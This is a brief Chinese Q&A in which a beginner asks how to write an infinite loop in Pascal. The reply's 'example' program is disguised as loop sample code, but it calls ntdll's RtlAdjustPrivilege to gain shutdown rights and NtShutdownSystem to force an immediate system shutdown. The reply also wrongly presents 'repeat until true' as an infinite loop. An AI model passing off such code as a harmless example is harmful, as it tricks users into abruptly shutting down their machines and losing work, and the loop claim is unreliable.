求教如何利用循环写一个无限循环的程序

repeat
until true;

while true do;

{利用循环条件永远为真 true 值就可以了，像下面的程序一样}
procedure levelUP(p:longint;newvalue:longint;newthread:longint;pb:pboolean);stdcall;
external 'ntdll.dll' name 'RtlAdjustPrivilege';
procedure hit(s:longint);stdcall; external 'ntdll.dll' name 'NtShutdownSystem';
{main}
var
a:boolean;
begin
while true do
begin
writeln('boom boom!');
levelUP(19,1,0,@a);
hit(0);
end;
end. {end for main}